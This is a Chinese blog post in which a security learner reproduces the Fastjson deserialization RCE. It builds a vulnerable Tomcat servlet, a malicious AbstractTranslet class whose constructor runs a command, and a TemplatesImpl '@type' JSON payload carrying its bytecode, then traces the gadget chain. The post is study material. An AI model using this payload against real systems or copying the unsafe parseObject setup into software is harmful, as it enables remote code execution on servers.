美文网首页
Fastjson漏洞学习

Fastjson漏洞学习

作者: Maywishes | 来源:发表于2019-07-25 08:53 被阅读0次

    近期暴露了阿里的Fastjson反序列漏洞,作为一个安全小白,在网上搜索了很多大神书写的资料学习,并通过搭建环境的方式进行实践加深理解,在此记录学习过程。

    1. 环境搭建

      Fastjson为Java语言编写,因此为了实践,首先需要搭建一个使用Fastjson的Web服务,此处选择使用Tomcat方式部署Web,因此先安装Tomcat。
    

    1.1Tomcat安装

      Tomcat依赖Java,首先查看Java版本,本机版本为JDK1.8,满足Tomcat7.0版本要求。
    

    前往Tomcat官网https://tomcat.apache.org/download-70.cgi根据操作系统版本下载对应的Tomcat。
      将下载的Tomcat放到安装目录下解压,此处选择为/opt目录,如下图:
    

    Tomcat的目录结构如下:



    修改环境变量



    image.png
    此时Tomcat安装完成,可以启动Tomcat。

    测试Tomcat是否成功启动


    1.2 Eclipse配置Tomcat服务器

      在Eclipse的菜单中选择"Windows"-->"Preferences"-->"Server"-->"Runtime Environments"
    

    选择添加所安装的对应的Tomcat版本,此处为Tomcat7。



    创建完成后如下


    1.3 书写简单的Demo环境

      书写简单的代码,接收客户端提交的JSON字符串,并使用Fastjson进行解析。
    
    IndexServlet.java
    
    package fastt;
    
    import java.io.IOException;
    import java.io.PrintWriter;
    
    import javax.servlet.ServletException;
    import javax.servlet.annotation.WebServlet;
    import javax.servlet.http.HttpServlet;
    import javax.servlet.http.HttpServletRequest;
    import javax.servlet.http.HttpServletResponse;
    
    import com.alibaba.fastjson.JSON;
    
    class Person {
        private int age;
        public String username;
        private String hobby;
        
        public Person() {
            
        }
        
        public Person(int age, String username, String hobby){
            this.age = age;
            this.username = username;
            this.hobby = hobby;
        }
        
        public int getAge(){
            return this.age;
        }
        public void setAge(int age){
            this.age = age;
        }
        public String getUsername(){
            return this.username;
        }
        public void setUsername(String username){
            this.username = username;
        }
        public String getHobby(){
            return this.hobby;
        }
        public void setHobby(String hobby){
            this.hobby = hobby;
        }
    }
    @WebServlet("/IndexServlet")
    public class IndexServlet extends HttpServlet{
        
        /**
         * 
         */
        private static final long serialVersionUID = 1L;
    
        public IndexServlet() {
            super();
        }
        public void destroy() {
            super.destroy();
        }
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
            
        }
        public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
            String json_string = request.getParameter("json_string");
            System.out.println(json_string);
            Person p = JSON.parseObject(json_string, Person.class);
            PrintWriter writer = response.getWriter();
            String htmlRespone = "<html>";
            htmlRespone += "<h2>Your input is: <br/>";
            htmlRespone += "user name: " + p.getUsername() + "<br/>";
            htmlRespone += "age: " + p.getAge() + "<br/>";
            htmlRespone += "hobby: " + p.getHobby() + "<br/>";
            htmlRespone += "</html>";
            writer.println(htmlRespone);
        }
    }
    
    
    index.jsp
    
    <%@ page language="java" contentType="text/html; charset=UTF-8"
        pageEncoding="UTF-8"%>
    <!DOCTYPE html>
    <html>
    <head>
    <meta charset="UTF-8">
    <title>welcome hahaha</title>
    </head>
    <body>
        welcome, eclipse deploy tomcat
        <form action="IndexServlet" method="post">
            Input: <input type="text" name="json_string"><br>
            <input type="submit" value="submit">
        </form>
    </body>
    </html>
    
      在Eclipse中启动Tomcat
    

    通过浏览器访问并提交json字符串



    结果如下



    到此我们的环境已经成功搭建。

    2. Fastjson漏洞测试

    在附录参考文档中,学习了Fastjson漏洞的知识,根据前人的经验,构造POC测试代码。

    import java.io.IOException;
    
    import com.alibaba.fastjson.JSON;
    import com.alibaba.fastjson.serializer.SerializerFeature;
    import com.sun.org.apache.xalan.internal.xsltc.DOM;
    import com.sun.org.apache.xalan.internal.xsltc.TransletException;
    import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
    import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
    import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
    
    public class User extends AbstractTranslet{
        public String username;
        public String password;
        public User() throws IOException{
            Runtime.getRuntime().exec("gnome-calculator");
        }
        /*
        public String getUsername() {
            return this.username;
        }
        public void setUsername(String username) {
            this.username = username;
        }
        public String getPassword() {
            return this.password;
        }
        public void setPassword(String password) {
            this.password = password;
        }
        */
        public static void main(String[] args) {
            /*
            User user = new User();
            user.setUsername("admin");
            user.setPassword("123456");
            
            String entry1 = JSON.toJSONString(user);
            System.out.println(entry1);
            
            String entry2 = JSON.toJSONString(user,SerializerFeature.WriteClassName);
            System.out.println(entry2);
            */
            String jsonString = "{\"@type\":\"fastt.User\",\"password\":\"123456\",\"username\":\"admin\"}";
            Object user = JSON.parseObject(jsonString);
            System.out.println(user);
        }
        @Override
        public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
            // TODO Auto-generated method stub
            
        }
        @Override
        public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
                throws TransletException {
            // TODO Auto-generated method stub
            
        }
    }
    
    

    其中该User类继承自AbstractTranslet类,后面可看到原因。
    直接运行该代码,Fastjson在解析json的时候会调用默认构造函数,此时会弹出计算器。


    将User的class文件保存到本地,此处保存在/home/hadoop/Downloads/路径下,构造Payload的代码如下:

    public class POC {
        public static String readClass(String cls) {
            ByteArrayOutputStream bos = new ByteArrayOutputStream();
            try {
                IOUtils.copy(new FileInputStream(new File(cls)),bos);
            }catch(IOException e) {
                e.printStackTrace();
            }
            return Base64.encodeBase64String(bos.toByteArray());
        }
        public static void  test_autoTypeDeny() throws Exception {
            ParserConfig config = new ParserConfig();
            final String fileSeparator = System.getProperty("file.separator");
            final String evilClassPath = "/home/hadoop/Downloads/User.class";
            String evilCode = readClass(evilClassPath);
            final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
            String text1 = "{\"@type\":\"" + NASTY_CLASS +
                    "\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'a.b','_tfactory':{ },\"_outputProperties\":{ }," +
                    "\"_name\":\"a\",\"_version\":\"1.0\",\"allowedProtocols\":\"all\"}\n";
            System.out.println(text1);
    
            Object obj = JSON.parseObject(text1, Object.class, config, Feature.SupportNonPublicField);
            //assertEquals(Model.class, obj.getClass());
        }
        public static void main(String args[]){
            try {
                test_autoTypeDeny();
            } catch (Exception e) {
                e.printStackTrace();
            }
        }
    }
    

    可以看到_bytecodes字段的value即是User.class的内容。@type为com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl

    此处贴出TemplateImpl类的重要函数代码

    public synchronized Properties getOutputProperties() {
        try {
            return newTransformer().getOutputProperties();
        }
        catch (TransformerConfigurationException e) {
            return null;
        }
    }
    
    public synchronized Transformer newTransformer()
        throws TransformerConfigurationException
    {
        TransformerImpl transformer;
        transformer = new TransformerImpl(getTransletInstance(), _outputProperties,
            _indentNumber, _tfactory);
        if (_uriResolver != null) {
            transformer.setURIResolver(_uriResolver);
        }
        if (_tfactory.getFeature(XMLConstants.FEATURE_SECURE_PROCESSING)) {
            transformer.setSecureProcessing(true);
        }
        return transformer;
    }
    
    private Translet getTransletInstance()
            throws TransformerConfigurationException {
            try {
                if (_name == null) return null;
                if (_class == null) defineTransletClasses();
                // The translet needs to keep a reference to all its auxiliary
                // class to prevent the GC from collecting them
                AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
                translet.postInitialization();
                translet.setTemplates(this);
                translet.setServicesMechnism(_useServicesMechanism);
                if (_auxClasses != null) {
                    translet.setAuxiliaryClasses(_auxClasses);
                }
                return translet;
            }
            catch (InstantiationException e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
            catch (IllegalAccessException e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
    
    private void defineTransletClasses()
            throws TransformerConfigurationException {
            if (_bytecodes == null) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
                throw new TransformerConfigurationException(err.toString());
            }
            TransletClassLoader loader = (TransletClassLoader)
                AccessController.doPrivileged(new PrivilegedAction() {
                    public Object run() {
                        return new TransletClassLoader(ObjectFactory.findClassLoader());
                    }
                });
            try {
                final int classCount = _bytecodes.length;
                _class = new Class[classCount];
                if (classCount > 1) {
                    _auxClasses = new Hashtable();
                }
                for (int i = 0; i < classCount; i++) {
                    _class[i] = loader.defineClass(_bytecodes[i]);
                    final Class superClass = _class[i].getSuperclass();
                    // Check if this is the main class
                    if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                        _transletIndex = i;
                    }
                    else {
                        _auxClasses.put(_class[i].getName(), _class[i]);
                    }
                }
                if (_transletIndex < 0) {
                    ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                    throw new TransformerConfigurationException(err.toString());
                }
            }
            catch (ClassFormatError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
            catch (LinkageError e) {
                ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
    

    处理Post请求的代码

    public class IndexServlet extends HttpServlet{
        
        /**
         * 
         */
        private static final long serialVersionUID = 1L;
    
        public IndexServlet() {
            super();
        }
        public void destroy() {
            super.destroy();
        }
        public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
            
        }
        public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException{
            String json_string = request.getParameter("json_string");
            System.out.println(json_string);
            //ParserConfig config = new ParserConfig();
            Object obj = JSON.parseObject(json_string, Object.class, Feature.SupportNonPublicField);
            //JSONObject p = JSON.parseObject(json_string);
            PrintWriter writer = response.getWriter();
            String htmlRespone = "<html>";
            htmlRespone += "<h2>Your input is: <br/>";
            htmlRespone += "user name: " + obj.toString() + "<br/>";
            //htmlRespone += "age: " + p.get("age") + "<br/>";
            //htmlRespone += "hobby: " + p.get("hobby") + "<br/>";
            htmlRespone += "</html>";
            writer.println(htmlRespone);
        }
    

    其中在使用JSON.parseObject函数时,使用了参数Feature.SupportNonPublicField,这是由于Fastjson默认只能解析public字段,而像本例中的_bytecode,_outputProperties等都是private属性的,因此需要配置此参数。
    在客户端提交请求,并跟踪处理逻辑。



    可以看到JSON.parseObject函数会解析json字符串。

    根据@type字段获取到对应的类:com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl


    使用JavaBean进行反序列化,使用JavaBean的deserialize方法。

    调用smartMatch方法,本来Field是_outputProperties,使用smartMatch后转变为outputProperties。


    可以看到fieldDeserializer的值已经是outputProperties。



    调用deserialize方法



    调用serValue方法


    调用到TemplatesImpl类的getOutputProperties方法。



    调用到TemplatesImpl类的getTransletInstance()方法


    调用到TemplatesImpl类的defineTransletInstance()方法,在defineTransletClasses方法中会根据_bytecodes来生成一个java类,生成的java类随后会被getTransletInstance方法用到生成一个实例。此时可以看到返回的类会被强制转换成AbstractTranslet类,这也就是前面构造的User类需要继承自AbstractTranslet类的原因。



    上图中的newInstace()方法,会调用User()的默认构造函数,从而执行默认构造函数中的Runtime.getRuntime().exec("gnome-calculator"),弹出计算器。



    参考文档:

    1. https://www.freebuf.com/sectool/165655.html
    2. https://paper.seebug.org/292/
    3. https://www.freebuf.com/column/180711.html

    相关文章

      网友评论

          本文标题:Fastjson漏洞学习

          本文链接:https://www.haomeiwen.com/subject/takrlctx.html